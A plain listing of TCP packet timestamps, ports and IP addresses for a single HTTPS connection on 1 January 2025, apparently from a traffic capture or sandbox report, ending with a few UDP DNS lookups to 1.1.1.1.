Jan 1, 2025 16:44:45.570918083 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:45.570928097 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:45.570956945 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:45.571122885 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:45.571156025 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:45.571196079 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:45.571199894 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:45.571208954 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:45.571240902 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:45.571336031 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:45.571348906 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:45.571388960 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:45.571393967 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:45.571403027 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:45.571429014 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:45.571500063 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:45.571511984 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:45.571547031 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:45.571551085 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:45.571569920 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:45.571583986 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:45.574681044 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:45.657100916 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:45.657116890 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:45.657180071 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:45.657187939 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:45.657212973 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:45.657229900 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:45.657350063 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:45.657363892 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:45.657427073 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:45.657432079 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:45.657475948 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:45.657721043 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:45.657733917 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:45.657784939 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:45.657788992 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:45.657794952 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:45.657819986 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:45.657838106 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:45.657844067 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:45.657856941 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:45.657902956 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:45.658175945 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:45.658190012 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:45.658235073 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:45.658238888 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:45.658262014 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:45.658273935 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:45.658339024 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:45.658350945 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:45.658392906 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:45.658397913 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:45.658420086 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:45.658437967 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:45.658464909 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:45.658478975 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:45.658530951 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:45.658540010 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:45.658576965 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:45.658644915 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:45.658657074 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:45.658698082 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:45.658701897 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:45.658740044 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:45.661866903 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:45.744169950 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:45.744188070 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:45.744240999 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:45.744247913 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:45.744260073 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:45.744263887 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:45.744282007 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:45.744294882 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:45.744302988 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:45.744313002 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:45.744338036 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:45.744359970 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:45.744390011 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:45.744405985 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:45.744441032 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:45.744446039 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:45.744455099 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:45.744479895 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:45.744683027 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:45.744699955 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:45.744750023 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:45.744750977 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:45.744760036 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:45.744785070 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:45.744812965 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:45.744817972 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:45.744827032 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:45.744862080 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:45.744967937 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:45.744982004 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:45.745035887 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:45.745039940 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:45.745049000 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:45.745090008 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:45.745151043 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:45.745163918 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:45.745214939 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:45.745219946 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:45.745260954 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:45.745481968 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:45.745498896 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:45.745537996 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:45.745542049 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:45.745569944 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:45.745587111 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:45.749664068 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:45.830826998 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:45.830842972 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:45.830899000 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:45.830899954 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:45.830909014 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:45.830943108 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:45.830966949 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:45.830970049 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:45.831084967 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:45.831098080 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:45.831132889 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:45.831136942 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:45.831161976 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:45.831304073 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:45.831321955 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:45.831357956 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:45.831363916 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:45.831388950 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:45.831578970 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:45.831590891 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:45.831626892 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:45.831631899 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:45.831653118 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:45.831756115 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:45.831768036 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:45.831803083 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:45.831805944 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:45.831821918 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:45.831862926 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:45.831876993 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:45.831911087 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:45.831914902 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:45.831931114 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:45.832079887 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:45.832093000 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:45.832135916 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:45.832140923 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:45.832158089 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:45.832298994 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:45.832314014 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:45.832344055 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:45.832349062 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:45.832371950 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:45.835727930 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:45.917876959 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:45.917895079 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:45.918076038 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:45.918077946 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:45.918092966 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:45.918123007 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:45.918147087 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:45.918154955 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:45.918165922 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:45.918199062 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:45.918350935 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:45.918369055 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:45.918411970 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:45.918416977 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:45.918443918 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:45.918457031 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:45.918626070 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:45.918654919 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:45.918689966 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:45.918694019 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:45.918720961 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:45.918739080 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:45.918766975 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:45.918783903 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:45.918833017 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:45.918838024 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:45.918881893 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:45.919007063 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:45.919022083 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:45.919079065 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:45.919084072 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:45.919131994 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:45.919214010 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:45.919228077 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:45.919281006 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:45.919285059 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:45.919328928 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:45.919332981 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:45.919341087 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:45.919365883 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:45.919385910 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:45.919389963 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:45.919415951 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:45.919435024 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:45.924468994 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:46.004699945 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:46.004714012 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:46.004780054 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:46.004785061 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:46.004826069 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:46.004976034 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:46.004990101 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:46.005029917 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:46.005034924 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:46.005058050 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:46.005076885 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:46.005192995 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:46.005207062 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:46.005256891 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:46.005263090 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:46.005301952 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:46.005409956 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:46.005424976 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:46.005472898 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:46.005477905 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:46.005526066 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:46.005667925 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:46.005682945 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:46.005731106 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:46.005734921 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:46.005743980 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:46.005759001 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:46.005778074 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:46.005781889 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:46.005795002 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:46.005825043 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:46.005841970 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:46.005856991 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:46.005894899 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:46.005899906 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:46.005939007 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:46.006321907 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:46.006335974 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:46.006391048 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:46.006396055 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:46.006436110 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:46.009936094 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:46.092053890 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:46.092077971 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:46.092274904 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:46.092307091 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:46.092328072 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:46.092334032 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:46.092398882 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:46.092485905 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:46.092499018 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:46.092597961 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:46.092602015 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:46.092617989 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:46.092636108 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:46.092691898 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:46.092695951 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:46.092777014 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:46.092791080 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:46.092835903 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:46.092842102 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:46.092951059 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:46.092967987 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:46.093004942 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:46.093008041 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:46.093038082 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:46.093301058 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:46.093313932 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:46.093369007 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:46.093374014 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:46.093380928 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:46.093396902 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:46.093435049 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:46.093441010 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:46.093466997 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:46.097820044 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:46.218673944 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:46.218688965 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:46.218866110 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:46.218899012 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:46.218977928 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:46.218990088 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:46.219053984 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:46.219146013 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:46.219173908 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:46.219206095 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:46.219216108 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:46.219235897 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:46.219243050 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:46.219249010 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:46.219270945 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:46.219274998 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:46.219332933 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:46.219790936 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:46.219804049 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:46.219863892 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:46.219868898 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:46.219908953 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:46.219995022 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:46.220010042 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:46.220061064 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:46.220065117 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:46.220112085 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:46.220277071 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:46.220289946 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:46.220343113 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:46.220345974 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:46.220388889 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:46.220452070 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:46.220464945 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:46.220514059 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:46.220520020 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:46.220563889 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:46.224533081 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:46.305593967 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:46.305607080 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:46.305790901 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:46.305821896 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:46.305851936 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:46.305882931 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:46.305896997 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:46.305896997 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:46.305905104 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:46.305919886 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:46.305938005 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:46.305989981 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:46.323435068 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:46.323447943 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:46.323458910 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:46.323463917 CET	443	49747	104.21.37.128	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 1, 2025 16:44:02.171513081 CET	49438	53	192.168.2.4	1.1.1.1
Jan 1, 2025 16:44:02.191073895 CET	53	49438	1.1.1.1	192.168.2.4
Jan 1, 2025 16:44:28.997051001 CET	53970	53	192.168.2.4	1.1.1.1
Jan 1, 2025 16:44:29.009645939 CET	53	53970	1.1.1.1	192.168.2.4
Jan 1, 2025 16:44:38.309412956 CET	59330	53	192.168.2.4	1.1.1.1
Jan 1, 2025 16:44:38.418198109 CET	53	59330	1.1.1.1	192.168.2.4
Jan 1, 2025 16:44:39.464245081 CET	58712	53	192.168.2.4	1.1.1.1
Jan 1, 2025 16:44:39.475044966 CET	53	58712	1.1.1.1	192.168.2.4
Jan 1, 2025 16:44:40.125211954 CET	61045	53	192.168.2.4	1.1.1.1
